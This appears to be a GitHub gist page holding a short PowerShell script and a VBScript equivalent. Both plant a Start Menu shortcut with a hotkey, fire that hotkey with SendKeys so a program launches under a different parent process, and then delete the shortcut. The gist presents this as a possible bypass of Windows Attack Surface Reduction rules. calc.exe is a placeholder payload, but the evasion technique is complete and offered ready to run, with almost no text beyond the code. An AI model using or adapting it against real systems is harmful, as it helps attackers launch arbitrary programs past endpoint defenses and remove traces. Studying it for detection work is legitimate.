Skip to content

Instantly share code, notes, and snippets.

@monoxgas
Last active May 29, 2020 14:49
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save monoxgas/58a2d4d4ef2dcb3cf5aad09579d1b9ba to your computer and use it in GitHub Desktop.
Save monoxgas/58a2d4d4ef2dcb3cf5aad09579d1b9ba to your computer and use it in GitHub Desktop.
Execute something under svchost.exe using shortcut hotkeys (ASR bypass?)
$Shell = New-Object -Com WScript.Shell
$S = $Shell.CreateShortcut("$($Env:AppData)\Microsoft\Windows\Start Menu\default.lnk")
$S.TargetPath = "calc.exe"
$S.Hotkey = "Ctrl+U"
$S.Save()
$Shell.SendKeys("^u")
Start-Sleep 10;rm "$($Env:AppData)\Microsoft\Windows\Start Menu\default.lnk"
Set wsh = CreateObject("WScript.Shell")
appdata = wsh.SpecialFolders("AppData")
Set s = wsh.CreateShortcut(appdata + "\Microsoft\Windows\Start Menu\default.lnk")
s.TargetPath = "calc.exe"
s.Hotkey = "Ctrl+U"
s.Save
SendKeys ("^u")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment